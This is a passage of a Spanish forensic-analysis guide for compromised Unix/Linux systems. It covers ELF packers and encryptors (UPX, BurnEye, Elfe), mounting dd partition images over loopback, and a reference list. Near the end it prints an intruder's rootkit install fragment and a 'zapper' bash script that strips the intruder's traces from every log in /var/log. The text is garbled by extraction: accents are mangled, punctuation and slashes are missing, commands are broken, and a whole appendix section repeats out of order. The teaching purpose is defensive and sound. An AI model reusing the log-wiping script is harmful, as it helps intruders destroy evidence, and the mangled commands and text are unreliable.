Podemos encontrar siguientes meacutetodos de proteccioacuten de binarios en este caso seguacuten el nivel del atacante y tipo deherramienta utilizada Puede que se utilicen de forma individual o de forma combinada para complicar el trabajo delinvestigador

bull UPX [3] - Ultimate Packer for eXecutables los intrusos con un nivel de conocimientos bajo o medio utilizancompresor de ejecutables UPX como una herramienta de proteccioacuten de sus aplicaciones Este software tienesoporte para reducir el tamantildeo de binarios de tipo dosexe doscom dossys djgpp2coff watcomle elf y etc atraveacutes de las funciones de la libreriacutea UCL escrita en ANSI C por lo tanto ofuscando su contenido a nivel superficial

Si observamos el output del comando strings vemos que es faacutecilmente detectable por la cadena de texto $Id UPX122 Copyright (C) 1996-2002 the UPX Team All Rights Reserved $ en caso de que UPX no ha sido modificadoEn otros casos cuando el intruso puso su empentildeo en modificar la fuentes de UPX para confundir (aun mas) aladministrador el binario sigue perfectamente reconocible observando las cadenas tmpupxAAAAAAAAAAAprof etc en el fichero Para desempaquetar el binario debemos instalarnos UPX y ejecutar el siguientecomando

46

[ervinactivalinkcom ervin]$ upx -d ltfichero empaquetadogt

bull BurnEye [4] - Este tipo de proteccioacuten se utiliza por los intrusos con nivel de conocimientos medio medio-altoque conocen la estructura de binarios ELF BurnEye ofrece 3 niveles de proteccioacuten de binarios ELF por capasofuscacioacuten de coacutedigo cifrado de aplicacioacuten a traveacutes de contrasentildea y teacutecnica de OS fingerprinting

Nivel 1 El primer nivel de proteccioacuten realiza un cifrado del binario y utiliza la teacutecnica de inyeccioacuten de coacutedigodentro del binario ELF El coacutedigo es un motor de descifrado que a la hora de ejecutar el programa v

descifra su contenido y lo ejecuta Podemos detectar si el binario estaacute protegido con el primer nivel de BurnEye si su output de strings contiene la cadena TEEE burneye - TESO ELF Encryption Engine En caso de que el intruso haya modificado las fuentes de BurnEye y no se observe la cadena de texto en el output se puede detectar ese nivel de proteccioacuten a traveacutes de GDB Esa proteccioacuten implementa ademaacutes una trampa para debuggers que utilizan llamada de sistema ptrace()

[ervinactivalinkcom dev]$ gdb ltbinario encriptado con burneye nivel 1gt GNU gdb 52 Copyright 2002 Free Software Foundation Inc [] This GDB was configured as i686-pc-linux-gnu(no debugging symbols found) (gdb) r Starting program devvalidate_MoD warning shared library handler failed to enable breakpoint

Program received signal SIGTRAP Tracebreakpoint trap 0x053714c7 in () (gdb)

Normalmente el SIGTRAP en binarios protegidos con BurnEye suele estar situado en 0x053714c7 Ese nivel de proteccioacuten de binarios puede ser superado realizando un dump de memoria con herramienta memdump y extraccioacuten manual del motor de cifrado (Ver [5] para maacutes informacioacuten)

Nivel 2 El segundo nivel de proteccioacuten de binarios es maacutes completo que el anterior Su funcionamiento utiliza la misma teacutecnica de inyeccioacuten de coacutedigo dentro de ELF y cifrado (wrapping) Soacutelo que en este caso el motor que se inserta dentro del binario tiene capacidad de cifrar y descifrar informacioacuten realizando una comprobacioacuten por contrasentildea como clave de cifrado (SHA1) Una vez la clave ha sido aceptada el nivel de control utiliza RC4 para descifrar el binario original

Para detectar la diferencia entre el nivel 1 y nivel 2 hay que ejecutar el programa Por lo tanto hay que asegurarse que no es ni sGID sUID Si lo es hay que crear un usuario con privilegios muy limitados cambiar la pertenencia del fichero y quitarle sGID y sUID A continuacioacuten se puede intentar obtener el listado de libreriacuteas dinaacutemicas utilizadas por el binario

[ervinactivalinkcom dev]$ ldd void ldd libld-linuxso2 exited with unknown exit code (139)

Si se produce el output similar entonces queda confirmado que el binario estaacute cifrado y la uacutenica opcioacuten que tenemos es intentar ejecutarlo pero soacutelo desde la cuenta del usuario con menos privilegios por razones de seguridad

[nooneactivalinkcom dev]$ void password invalid key

Una vez ejecutado el fichero vemos que nos solicita la contrasentildea y si pulsamos Enter nos informa que la clave no es correcta Ahora estamos seguros que el fichero estaacute cifrado con BurnEye con proteccioacuten de Nivel 2 Este nivel de proteccioacuten es faacutecil de romper como el anterior seraacute necesario utilizar las teacutecnicas de debugging avanzadas y buen conocimiento de ensamblador [6] Se aconseja utilizar un debugger que no utilice llamada de sistema ptrace() para intentar saltar la proteccioacuten de binarios protegidos [7] La interaccioacuten entre el motor de cifrado con el binario original es todaviacutea deacutebil por lo tanto teoacutericamente se puede utilizar teacutecnicas de unwrapping pero si la contrasentildea ha sido elegida bien por el intruso el binario es casi indescifrable

Nivel 3 Esta capa de proteccioacuten tiene un modo de funcionamiento diferente a los niveles anteriores Este nivel asegura que el binario no pueda ser ejecutado en otro sistema que no sea el de maacutequina doacutende ha sido encontrado (utilizado) El binario incluye internamente un sello del equipo permitido Y cada vez que se ejecuta el motor de cifrado interno busca el sello de la maacutequina y si no coincide con el fingerprint almacenado dentro del algoritmo no permite la ejecucioacuten de la aplicacioacuten El sello es uacutenico en cada maacutequina que se calcula a traveacutes de un algoritmo propio desarrollado por TESO utiliza valores sysinstall procpci proccpu procmem procroute procpartitions (proc en general) para generar un uacutenico sello (fingerprint) Los binarios protegidos con eacuteste nivel de BurnEye heredan las mismas pruebas que los niveles anteriores output strings breakpoint trap etc

Si estamos estudiando el binario doy por sentado que nos encontramos en una estacioacuten de anaacutelisis y no en el equipo comprometido por lo tanto si intentamos ejecutar la aplicacioacuten protegida con este nivel de BurnEye en un entorno seguro (no sUID no sGID y como usuario con privilegios limitados) obtendremos el siguiente output

[chrootedbetaactivalinkcom chrooted] output invalid fingerprint Es casi imposible de obtener el binario original si no nos encontramos en la maacutequina con un sello reconocido por el ejecutable ya que el fichero original estaacute cifrado y se descifra con el stream cipher RC4

47

bull Elfe [8] - Este tipo de proteccioacuten se utiliza por los intrusos con nivel de conocimientos medio medio-alto queconocen la estructura de binarios ELF Elfe ofrece 1 nivel de proteccioacuten de binarios ELF a traveacutes de RC4 Atraveacutes de esta herramienta se puede especificar cual de las secciones del binario (text data rodata) se quiereproteger Esa aplicacioacuten funciona soacutelo bajo la arquitectura x86 y uacutenicamente puede proteger binarios producidospor el compilador gcc y stripeados tiene soporte para binarios linkados de forma estaacutetica asiacute como dinaacutemica

Comparando esa herramienta con las anteriores podemos decir que ofrece menor nivel de proteccioacuten que BurnEye y mayor que UPX Se puede detectar faacutecilmente que el binario estaacute cifrado con Elfe ya que el output de la utilidad strings informa en las uacuteltimas liacuteneas un texto similar

password Done Returning to program QZ^amp Tambieacuten podemos encontrar en el output cadenas de texto de las secciones que no han sido cifradas ya que Elfe se limita a cifrar soacutelo text data rodata maacuteximo y si no se especifica soacutelo la seccioacuten text Las herramientas strace objdump de la coleccioacuten de herramientas binutils nos podraacuten ser de utilidad Si se ejecuta la aplicacioacuten sin saber la contrasentildea correcta la aplicacioacuten puede colgarse o producir SIGSEGV Segmentation Fault

Aunque el meacutetodo de proteccioacuten no implementa deteccioacuten de debuggers el nivel de dificultad de descifrado de binarios protegidos con Elfe es similar al 2ordm y 3ordm nivel de BurnEye (Para maacutes informacioacuten ver [9])

Hemos podido observar que las utilidades como BurnEye y Elfe tienen una mayor capacidad de ocultacioacuten delpropoacutesito del binario Si el intruso ha utilizado estas herramientas de forma correcta y precabida seriacutea casi imposiblede saber el objetivo del fichero El decifrado es posible pero complejo que necesita conocimientos avanzados deingenieriacutea inversa y anaacutelisis criptograacutefico

12 Apeacutendice B - Sistema de Ficheros Loopback de LinuxEl kernel de Linux tiene soporte vara muacuteltiples sistemas de fichero (ver man mount) tales como adfs affs autofscoda coherent devpts efs ext ext2 hfs hpfs iso9660 minix msdos ncpfs nfs ntfs proc qnx4 romfs smbfs sysvudf ufs umsdos vfat xenix xiafs

Los sistemas de ficheros coherent sysv y xenix son ideacutenticos y en el futuro no se mencionaraacuten los tres sino se limitaraacutea utilizar el nombre sysv

El soporte de una variedad de sistemas de ficheros por el kernel de GNULinux nos ofrece una buena plataformade anaacutelisis ya que no tendremos que cambiar ni de maacutequina ni de sistema operativo para estudiar un sistemacomprometido que no sea GNULinux

Linux tambieacuten tiene soporte para dispositivos loopback que permiten montar un sistema de ficheros dentro delfichero Este meacutetodo se utiliza dentro de los discos arrancables CD-ROMs auto-ejecutables sistemas de ficherocifrados para laptops etc Para maacutes informacioacuten podemos leer siguiente documentacioacuten de losetup(8) mount(8) [30]

Los dispositivos loop en las versiones anteriores de GNULinux eran 8 por defecto y se utilizaban de forma indirectapor el comando mount mientras que actualmente son 16 Estos dispositivos se encuentran en el directorio dev juntocon el resto de dispositivos

48

[staticlowershaftactivalink dev]$ ls -l devloopbrw-rw---- 1 root root 7 0 Apr 11 1625 devloop0brw-rw---- 1 root root 7 1 Apr 11 1625 devloop1brw-rw---- 1 root root 7 10 Apr 11 1625 devloop10brw-rw---- 1 root root 7 11 Apr 11 1625 devloop11brw-rw---- 1 root root 7 12 Apr 11 1625 devloop12brw-rw---- 1 root root 7 13 Apr 11 1625 devloop13brw-rw---- 1 root root 7 14 Apr 11 1625 devloop14brw-rw---- 1 root root 7 15 Apr 11 1625 devloop15brw-rw---- 1 root root 7 2 Apr 11 1625 devloop2brw-rw---- 1 root root 7 3 Apr 11 1625 devloop3brw-rw---- 1 root root 7 4 Apr 11 1625 devloop4brw-rw---- 1 root root 7 5 Apr 11 1625 devloop5brw-rw---- 1 root root 7 6 Apr 11 1625 devloop6brw-rw---- 1 root root 7 7 Apr 11 1625 devloop7brw-rw---- 1 root root 7 8 Apr 11 1625 devloop8brw-rw---- 1 root root 7 9 Apr 11 1625 devloop9

Combinar dos utilidades como dd y mount es maacutes faacutecil de lo que puede pensar Puede hacer una prueba copiandoimaacutegenes de cada particioacuten con dd del sistema de ficheros de la viacutectima los copia a su sistema y les monta utilizandodispositivos loopback Para nuestro ejemplo las particiones fueron obtenidos de un disco duro interno de una SunSPARC ejecutando Solaris 25

ls -l c0t3d0-rw-r--r-- 1 root root 189399040 Sep 14 1244 c0t3d0s0dd-rw-r--r-- 1 root root 171991040 Sep 14 1315 c0t3d0s1dd-rw-r--r-- 1 root root 220733440 Sep 14 1257 c0t3d0s3dd-rw-r--r-- 1 root root 269475840 Sep 14 1251 c0t3d0s6dd-rw-r--r-- 1 root root 515973120 Sep 14 1348 c0t3d0s7dd

Puede montar la imagen en modo solo lectura especificando que es un sistema de ficheros UFS de tipo sun y quedeseamos utilizar un dispositivo loopback de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s0dd t

Desde aquiacute podemos determinar donde apuntaban el resto de las particiones buscando el dispositivo en el sistema deviacutectima etcvfstab (montado en este ejemplo bajo t)

grep c0t3d0 tetcvfstab

49

devdskc0t3d0s1 - - swap - no -devdskc0t3d0s0 devrdskc0t3d0s0 ufs 1 no -devdskc0t3d0s6 devrdskc0t3d0s6 usr ufs 1 no -devdskc0t3d0s3 devrdskc0t3d0s3 var ufs 1 no -devdskc0t3d0s7 devrdskc0t3d0s7 exporthome ufs 2 yes -

Ahora podemos montar otras particiones de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s3dd tvar mount -o roloopufstype=sun -t ufs c0t3d0s6dd tusr mount -o roloopufstype=sun -t ufs c0t3d0s7dd texporthome

Ahora el contenido del sistema de ficheros es visible a las herramientas forenses de TCT como por ejemplo grave-robber

dfFilesystem 1k-blocks Used Available Use Mounted on

xc0t3d0s0dd 173791 68725 87696 44 txc0t3d0s3dd 202423 26148 156035 14 tusrxc0t3d0s6dd 246743 197592 24481 89 tvarxc0t3d0s7dd 473031 111506 314225 26 texporthome

mount

xc0t3d0s0dd on t type ufs (roloop=devloop0ufstype=sun)xc0t3d0s3dd on tusr type ufs (roloop=devloop1ufstype=sun)xc0t3d0s6dd on tvar type ufs (roloop=devloop2ufstype=sun)xc0t3d0s7dd on texporthome type ufs (roloop=devloop3ufstype=sun)

121 Conclusiones

Con el transcurso de tiempo las empresas que manejan la informacioacuten privilegiada han aprendido que para asegurarla integridad privacidad de informacioacuten no se debe ahorrar en sistemas de seguridad planes de contingencia Losadministradores sin previa experiencia de anaacutelisis forense no deben precipitarse a la hora de reestablecer el servidorparcheandolo rapidamente para que esteacute operativo lo antes posible ya que soacutelo un anaacutelisis forense exhaustivo puededeterminar el alcanze del incidente y responder a todas las preguntas que surgen tras sufrir un ataque

50

13 Referencias

1Anaacutelisis Sistemas Forenses - Este documento se basa en el trabajo de David Dittrich de la Universidad deWashington

2RootKit - Un rootkit es un conjunto de herramientas que garantizan el acceso posterior al sistema facilitan elpotencial acceso a otros servidores facilitan el borrado de huellas del atacador intentan esconder al atacante delos usuarios legiacutetimos del sistema

3Ataque de Limpieza - Es un tipo de ataque informaacutetico local o remoto cuyo objetivo es la eliminacioacuten de laspruebas de compromiso anterior El resultado de este tipo de ataques puede ser un destrozo de informacioacuten enun equipo anteriormente comprometido o de un forense informaacutetico El atacante intenta llevar acabo un borradode informacioacuten masivo utilizando las teacutecnicas de eliminacioacuten de informacioacuten por sobre escritura si se trata de unataque remoto yo deformacioacuten magneacutetica y des-magnetizacioacuten de medios si se trata de un ataque local

4UPX - Ultimate Packer for eXecutables (httpupxsourceforgenet) Una herramienta para comprimir elejecutable a fin de reducir su tamantildeo

5BurnEye - Una herramienta desarrollada por el grupo TESO (httpwwwteam-tesonet) que utiliza las teacutecnicasde inyeccioacuten de coacutedigo en ejecutables de tipo ELF La aplicacioacuten ofrece 3 niveles de proteccioacuten ofuscacioacuten decoacutedigo proteccioacuten con contrasentildea y fingerprinting

6BurnEye Nivel 1 - Para maacutes informacioacuten sobre el meacutetodo de obtener el binario original de uno ofuscado veanhttpwwwactivalinkcomreviewselfphp y httpwwwphrackcomshowphpp=58

7Burneye Nivel 2 - Para maacutes informacioacuten sobre meacutetodos de ingenieriacutea inversa de binarios protegidos con el nivel2 de proteccioacuten de BurnEye ver un caso praacutectico httpwwwincidentsorgpapersssh_exploitpdf

8Fenris - Un debugger popular y potente ya que interactuacutea con el sistema operativo y libc a un bajo nivel sinutilizar las llamadas ptrace() ver httprazorbindviewcomtoolsfenris

9Elfe - Lightweight Elf Encryptor (httpstealth7350org) Una herramienta desarrollada por Stealth del grupoTESO que utiliza teacutecnicas de inyeccioacuten de un motor de cifrado dentro de un ejecutable La aplicacioacuten protege laejecucioacuten de un binario por una contrasentildea Eacuteste meacutetodo de proteccioacuten de ejecutables es menos fiable que 2ordm y3er nivel de BurnEye

10Phrack - Gnugq ha escrito un buen white paper sobre el tema de proteccioacuten run-time de binarios que incluyemaacutes informacioacuten sobre el tema wwwphrackcomshowphpp=58ampa=5

51

11RootKit - Una coleccioacuten de utilidades para permitir al intruso ocultar su actividad dentro de un siste-ma facilitar el acceso en un futuro y recoger informacioacuten uacutetil del sistema Ver la versioacuten actua-lizada de FAQ en Ingleacutes sobre RootKits creada por Dave Dittrich de la universidad de Washington DChttpstaffwashingtonedudittrichmiscfaqsrootkitsfaq

12Biatchux - Es una distribucioacuten de linux portable sobre el CD-ROM que proporciona herramientas y un entornoseguro para realizar anaacutelisis forense recuperacioacuten de datos deteccioacuten de virus y evaluacioacuten de vulnerabilidades(httpbiatchuxdmzscom)

13Thomas Rude - El autor de un artiacuteculo sobre la manera de realizacioacuten de copias fiacutesicas de particiones y discospara el anaacutelisis forense (httpwwwcrazytraincomddhtml)

14The Coronerrsquos Toolkit- Una coleccioacuten de herramientas de un investigador forense Utilidades escritas por Dany Wietse (trabaja para IBM y el autor de postfix) Las utilidades incluidas en el kit proporcionan una ayudasubstancial para el investigador (httpwwwfishcomtct)

15Trinoo - Anaacutelisis de un ataque con una herramienta de DDoS (The DoS Projectrsquos trinoo distributed denial ofservice attack tool - httpstaffwashingtonedudittrichmisctrinooanalysis)

16Mstream - Anaacutelisis de un ataque con una herramienta de DDoS (The mstream distributed denial of serviceattack tool - httpstaffwashingtonedudittrichmiscmstreamanalysistxt)

17Van Hauser - Lea el documento de Van Hauser sobre Anonymizing Unix Systems para la informacioacuten decomo pueden los hackers con experiencia complicar la situacioacuten (httpwwwthehackerschoicecompapersfw-backdhtm)

18Techniques of Crime Scene Investigation por Barry A J Fisher CRC Press ISBN 0-8493-8119-3

19Mejora de Rendimiento de Sistemas de Copia de Seguridad - Whitepaper de Hewlett-Packard(httpwwwhpcomtapepapersperftunehtml)

20Clase de Farmer amp Wietse Venema sobre anaacutelisis forense de sistemas informaacuteticos - forensicstargz contiene 6diapositivas PostScript (httpwwwfishcomsecurityforensicshtml)

21Forensic Computer Analysis Introduccioacuten a la Reconstruccioacuten de eventos pasados por Dan Farmer y WietseVenema Dr Dobbrsquos Journal Septiembre 2000 (httpwwwddjcomarticles200000090009f0009fhtm)

22iquestQueacute son los MACtimes Herramientas poderosas para bases de datos por Dan Farmer Dr Dobbrsquos JournalOctubre 2000 (httpwwwddjcomarticles200000100010f0010fhtm)

23Strangers In the Night Encontrar el objetivo del binario desconocido por Wietse Venema Dr Dobbrsquos JournalNoviembre 2000 (httpwwwddjcomarticles200000110011g0011ghtm)

52

24Root Kits y ocultacioacuten de directorios despueacutes del break-in (httpstaffwashingtonedudittrichmiscfaqsrootkitsfaq)

25Infosecradio segmentos de anaacutelisis forense (15450) Julio 10 2000 (httpwwwsecurityfocuscommedia41)

26SecurityFocus - Entrevista con Jennifer Grannic (httpwwwsecurityfocuscommedia41)

27SecurityFocus - entrevista con Chad Davis (httpwwwsecurityfocuscommedia35)

28Anonymizing Unix Systems por van Hauser THC (httpthcpimmelcomfilesthcanonymous-unixhtml)

29Federal Guidelines for Searching and Seizing Computers Departamento de Justicia de EE UU(httpwwwusdojgovcriminalcybercrimesearchinghtml)

30DD and Computer Forensics Ejemplos de utilizacioacuten de DD dentro de Unix para crear backups fiacutesicos porThomas Rude CISSP Agosto 2000 (httpwwwcrazytraincomddhtml)

31El kernel de GNULinux ofrece soporte para sistemas de ficheros loopback siendo una teacutecnica bastante comuacutenVer para maacutes informacioacuten Laptop-HOWTO (httpwwwtldporgHOWTOLaptop-HOWTOhtml) Bootdisk-HOWTO (httpwwwtldporgHOWTOBootdisk-HOWTO) Loopback-Encrypted-Filesystem-HOWTO(httpwwwtldporgHOWTOLoopback-Encrypted-Filesystem-HOWTOhtml)

32La uacuteltima versioacuten de eacuteste documento estaacute disponible en httpwwwactivalinkcomforensics3php

14 AgradecimientosSe agradece la colaboracioacuten directa asiacute como indirecta de

bull Dan Farmer por su respuesta a las preguntas pesadas

bull Wietse Venema por su contribucioacuten a la tecnologiacutea de anaacutelisis forense de sistemas Unix

bull David Dittrich el autor original del estudio

bull Scut del Equipo TESO

bull The Gnugq uno de los editores de la revista Phrack

53

Page 43: Análisis Forense de Sistemas GNU/Linux, Unix

cd vartmpXXXXXcp vartmpclean vartmpXXXXXprogramscleanrm -rf vartmpcleanvartmpXXXXXprogramsclean XXXXXXX 1gtdevnull 2gtdevnullvartmpXXXXXprogramsclean XXXXXX 1gtdevnull 2devnullvartmpXXXXXprogramsclean XXXX 1gtdevnull 2gtdevnullecho rootkit completeecho rember to disable imapdecho EOF

El siguiente es una parte del fichero log que muestra intentos de conexioacuten de intrusos

Sep 11 152611 XXXX infingerd[864] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152611 XXXX intelnetd[865] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152611 XXXX telnetd[865] ttloop peer died Try againSep 11 152612 XXXX inpop3d[866] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152613 XXXX intelnetd[867] connect from XXX-XXX-14XXXXXXXXXXXX

Sep 12 053620 XXXX intelnetd[1126] connect from DDDDDDXXXXXXXXX

Sep 12 110152 XXXX intelnetd[1213] connect from EEEEEEEXXXXXXSep 12 110221 XXXX su XXXXX on devttyp1

Sep 12 110428 XXXX inrlogind[1229] connect from CCCCCCCCXXXXXXXXXXXSep 12 110444 XXXX inrlogind[1230] connect from CCCCCCCCXXXXXXXXXXX

Sep 12 110857 XXXX su XXXXX on devttyp1Sep 12 111119 XXXX su XXXXX on devttyp1

Sep 12 113305 XXXX intelnetd[1290] connect from AAAAAAXXXXXXXXXSep 12 113316 XXXX login 1 LOGIN FAILURE FROM AAAAAAXXXXXXXXX XXXSep 12 113321 XXXX login 2 LOGIN FAILURES FROM AAAAAAXXXXXXXXX XXX

Sep 12 113402 XXXX su XXXXX on devttyp1Sep 12 114152 XXXX wuftpd[1327] connect from BBBBBBBXXXXXXXXXSep 12 114157 XXXX ftpd[1327] USER XXXXXSep 12 114159 XXXX ftpd[1327] PASS passwordSep 12 114200 XXXX ftpd[1327] SYSTSep 12 114201 XXXX ftpd[1327] CWD tmpSep 12 114206 XXXX ftpd[1327] TYPE ImageSep 12 114206 XXXX ftpd[1327] PORTSep 12 114206 XXXX ftpd[1327] STOR mountdSep 12 114208 XXXX ftpd[1327] QUITSep 12 114208 XXXX ftpd[1327] FTP session closedSep 12 120025 XXXX intelnetd[1342] connect from AAAAAAXXXXXXXXX

43

Sep 12 120025 XXXX telnetd[1342] ttloop peer died Try again

Sep 12 125437 XXXX inrlogind[1358] connect from CCCCCCCCXXXXXXXXXXX

Sep 12 195330 XXXX intelnetd[1459] connect from XXXX-XX-118XXXXXXXXXXXX

Sep 12 234732 XXXX intelnetd[1525] connect from XXXXXXXXXXXXXXXXXXXXXXXSep 12 234741 XXXX login 1 LOGIN FAILURE FROM XXXXXXXXXXXXXXXXXXXXXXX XXXXXSep 12 234855 XXXX su XXXXX on devconsoleSep 13 001238 XXXX intelnetd[1569] connect from HHHHHHXXXXXXXXXXXXXXXXXXSep 13 001254 XXXX su XXXXX on devconsole

Sep 13 064612 XXXX intelnetd[1673] connect from XXXXXXXXXXSep 13 070801 XXXX intelnetd[1679] connect from GGGGGGGXXXXXXXXXXXXXXXXXSep 13 070814 XXXX su XXXXX on devconsole

Sep 13 083005 XXXX intelnetd[1728] connect from FFFFFFFXXXXXXXXXXXXXXXXXSep 13 083022 XXXX intelnetd[1731] connect from HHHHHHXXXXXXXXXXXXXXXXXXSep 13 083234 XXXX intelnetd[1733] connect from FFFFFFFXXXXXXXXXXXXXXXXX

Sep 13 095842 XXXX su XXXXX on devconsole

El siguiente ejemplo es un extracto de script zapper que elimina las huellas dejadas por el intruso o restablece eltamantildeo de los ficheros log a 0 bytes No se sabe si existe una copia de este script en el sistema de ficheros activo

1 binbash

WHAT=$(binls -F varlog | grep -v | grep -v | grep -v tgz | grep -v gz | grep -v tar | grep -v )

for file in $WHATline=$(wc -l varlog$file | awk -F rsquo rsquo rsquoprint $1rsquo)echo -n Cleaning $file ($line lines)grep -v $1 varlog$file gt newmv -f new varlog$filenewline=$(wc -l varlog$file | awk -F rsquo rsquo rsquoprint $1rsquo)let linedel=$(($line-$newline))echo $linedel lines removed

doneecho

44

Los siguientes cadenas de texto pertenecen al fichero wtmp (leiacutedo por la utilidad last) Las horas no son obvias aquiacutepero los nombres de hosts siacute lo son

ftp4264ttyp13XXXXXXXXXXXXXXXXXttyp1Pftp46263XXXXXXXXXXXXXXXXXttyp13XXXXXXXXXXXXXXXXXftp4626ttyp1Pftp46393XXXXXXXXXXXXXXXXXXPftp4639Pftp46533XXXXXXXXXXXXXXXXXXftp4653Pftp47433XXXXXXXXXXXXXXXXXXXXX

11 Apeacutendice A - Meacutetodos de Proteccioacuten de Binarios

111 Introduccioacuten

Los sistemas operativos UnixLinux BSD se consideran por los especialistas como avanzados seguros y establesdebido a su disentildeo de arquitectura y gestioacuten de procesos

Las distribuciones actuales tienen soporte para varios tipos de ejecutables como AOUT (formato original de Unix)COFF (Unix System V) ECOFF (MipsAlfpha) XCOFF (IBM RS6000 AIX) y finalmente ELF (el sucesor de COFFque ofrece muacuteltiples secciones y valores posibles de 32 o 64 bits) Mientras que los sistemas operativos win32 tienenMZ (dos) NE (Windows 3xx) y PE (Win9xNT)

La popularidad y el enfoque comercial de sistemas win32 obligoacute a las empresas desarrolladoras de software invertirfondos y horas en proteccioacuten de sus aplicaciones para evitar obligar a los usuarios comprar el software Desde el

45

principio los especialistas en ingenieriacutea inversa conseguiacutean por placer o por negocio evitar los meacutetodos de proteccioacutende los ejecutables que bajo win32 ya entonces teniacutean muacuteltiples teacutecnicas de proteccioacuten En actualidad un ficheroejecutable bajo Windows (PE) puede estar perfectamente cifrado empaquetado ofuscado y wrappeado al visa versa ala hora de ejecucioacuten lo que muestra la evolucioacuten de un binario simple haciacutea un ejecutable propiamente protegido loque proporciona la seguridad a la empresa desarrolladora que su software no podraacute ser utilizado de forma ilegal porlo menos por el puacuteblico general

Y lo uacutenico (que generalmente se conoce) que podemos hacer actualmente con un binario ELF es quitarle la tabla desiacutembolos o en otras palabras strippearlo que que no ofrece ninguacuten tipo de proteccioacuten

Existen pocas herramientas de proteccioacuten son experimentales y se conocenutilizan solo por los hackers de nivel altomedio-alto A la hora de realizar un anaacutelisis forense nos encontraremos con binarios que el intruso ha ido dejandoen el sistema y necesitariacuteamos saber las funciones de cada uno de ellos teniendo en cuenta que ejecucioacuten de binariosdesconocidos puede provocar un desastre si no estamos seguros de la funcioacuten de los mismos

112 Meacutetodos de Proteccioacuten

En las investigaciones rutinarias de casos de defacements de paacuteginas web o de utilizacioacuten de la maacutequina compro-metida como cluster DDoS no es frecuente encontrar binarios protegidos ya que la mayoriacutea de herramientas estaacutencirculando por la red de forma abierta Mientras que en los compromisos de sistemas importantes como de Ban-cos Liacuteneas Aeacutereas o Universidades el nivel de intruso es tecnoloacutegicamente y intelectualmente superior por lo tantotambieacuten lo son sus herramientas Hasta que no sepamos el propoacutesito de cada uno de las herramientas del intruso nopodremos concluir la investigacioacuten con eacutexito

Podemos encontrar siguientes meacutetodos de proteccioacuten de binarios en este caso seguacuten el nivel del atacante y tipo deherramienta utilizada Puede que se utilicen de forma individual o de forma combinada para complicar el trabajo delinvestigador

bull UPX [3] - Ultimate Packer for eXecutables los intrusos con un nivel de conocimientos bajo o medio utilizancompresor de ejecutables UPX como una herramienta de proteccioacuten de sus aplicaciones Este software tienesoporte para reducir el tamantildeo de binarios de tipo dosexe doscom dossys djgpp2coff watcomle elf y etc atraveacutes de las funciones de la libreriacutea UCL escrita en ANSI C por lo tanto ofuscando su contenido a nivel superficial

Si observamos el output del comando strings vemos que es faacutecilmente detectable por la cadena de texto $Id UPX122 Copyright (C) 1996-2002 the UPX Team All Rights Reserved $ en caso de que UPX no ha sido modificadoEn otros casos cuando el intruso puso su empentildeo en modificar la fuentes de UPX para confundir (aun mas) aladministrador el binario sigue perfectamente reconocible observando las cadenas tmpupxAAAAAAAAAAAprof etc en el fichero Para desempaquetar el binario debemos instalarnos UPX y ejecutar el siguientecomando

46

[ervinactivalinkcom ervin]$ upx -d ltfichero empaquetadogt

bull BurnEye [4] - Este tipo de proteccioacuten se utiliza por los intrusos con nivel de conocimientos medio medio-altoque conocen la estructura de binarios ELF BurnEye ofrece 3 niveles de proteccioacuten de binarios ELF por capasofuscacioacuten de coacutedigo cifrado de aplicacioacuten a traveacutes de contrasentildea y teacutecnica de OS fingerprinting

Nivel 1 El primer nivel de proteccioacuten realiza un cifrado del binario y utiliza la teacutecnica de inyeccioacuten de coacutedigodentro del binario ELF El coacutedigo es un motor de descifrado que a la hora de ejecutar el programa v

descifra su contenido y lo ejecuta Podemos detectar si el binario estaacute protegido con el primer nivel de BurnEye si su output de strings contiene la cadena TEEE burneye - TESO ELF Encryption Engine En caso de que el intruso haya modificado las fuentes de BurnEye y no se observe la cadena de texto en el output se puede detectar ese nivel de proteccioacuten a traveacutes de GDB Esa proteccioacuten implementa ademaacutes una trampa para debuggers que utilizan llamada de sistema ptrace()

[ervinactivalinkcom dev]$ gdb ltbinario encriptado con burneye nivel 1gt GNU gdb 52 Copyright 2002 Free Software Foundation Inc [] This GDB was configured as i686-pc-linux-gnu(no debugging symbols found) (gdb) r Starting program devvalidate_MoD warning shared library handler failed to enable breakpoint

Program received signal SIGTRAP Tracebreakpoint trap 0x053714c7 in () (gdb)

Normalmente el SIGTRAP en binarios protegidos con BurnEye suele estar situado en 0x053714c7 Ese nivel de proteccioacuten de binarios puede ser superado realizando un dump de memoria con herramienta memdump y extraccioacuten manual del motor de cifrado (Ver [5] para maacutes informacioacuten)

Nivel 2 El segundo nivel de proteccioacuten de binarios es maacutes completo que el anterior Su funcionamiento utiliza la misma teacutecnica de inyeccioacuten de coacutedigo dentro de ELF y cifrado (wrapping) Soacutelo que en este caso el motor que se inserta dentro del binario tiene capacidad de cifrar y descifrar informacioacuten realizando una comprobacioacuten por contrasentildea como clave de cifrado (SHA1) Una vez la clave ha sido aceptada el nivel de control utiliza RC4 para descifrar el binario original

Para detectar la diferencia entre el nivel 1 y nivel 2 hay que ejecutar el programa Por lo tanto hay que asegurarse que no es ni sGID sUID Si lo es hay que crear un usuario con privilegios muy limitados cambiar la pertenencia del fichero y quitarle sGID y sUID A continuacioacuten se puede intentar obtener el listado de libreriacuteas dinaacutemicas utilizadas por el binario

[ervinactivalinkcom dev]$ ldd void ldd libld-linuxso2 exited with unknown exit code (139)

Si se produce el output similar entonces queda confirmado que el binario estaacute cifrado y la uacutenica opcioacuten que tenemos es intentar ejecutarlo pero soacutelo desde la cuenta del usuario con menos privilegios por razones de seguridad

[nooneactivalinkcom dev]$ void password invalid key

Una vez ejecutado el fichero vemos que nos solicita la contrasentildea y si pulsamos Enter nos informa que la clave no es correcta Ahora estamos seguros que el fichero estaacute cifrado con BurnEye con proteccioacuten de Nivel 2 Este nivel de proteccioacuten es faacutecil de romper como el anterior seraacute necesario utilizar las teacutecnicas de debugging avanzadas y buen conocimiento de ensamblador [6] Se aconseja utilizar un debugger que no utilice llamada de sistema ptrace() para intentar saltar la proteccioacuten de binarios protegidos [7] La interaccioacuten entre el motor de cifrado con el binario original es todaviacutea deacutebil por lo tanto teoacutericamente se puede utilizar teacutecnicas de unwrapping pero si la contrasentildea ha sido elegida bien por el intruso el binario es casi indescifrable

